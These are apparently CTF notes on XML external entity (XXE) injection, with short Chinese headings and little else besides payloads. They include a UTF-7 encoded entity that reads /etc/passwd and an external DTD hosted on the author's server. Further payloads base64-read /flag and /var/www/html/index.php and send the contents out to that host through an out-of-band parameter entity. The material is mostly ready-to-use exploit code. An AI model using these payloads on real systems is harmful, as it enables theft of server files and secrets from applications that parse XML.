<?xml version="1.0" encoding="utf-7"?> +ADwAIQ-DOCTYPE data +AFs +ADwAIQ-ELEMENT data (+ACM-PCDATA)+AD4 +ADwAIQ-ENTITY file SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg +ADw-data+AD4AJg-file+ADsAPA-/data+AD4
引用外部的DTD()
在自己的vps放dtd
xml.dtd
1 2
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://vps/?%file;'>"> %start;
payload
1 2 3 4 5 6 7 8
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://ctf.tinmin.cn/xml.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> %remote; %send; ]> <message>tinmin</message>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/index.php"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ctf.tinmin.cn/?p=%file;'>">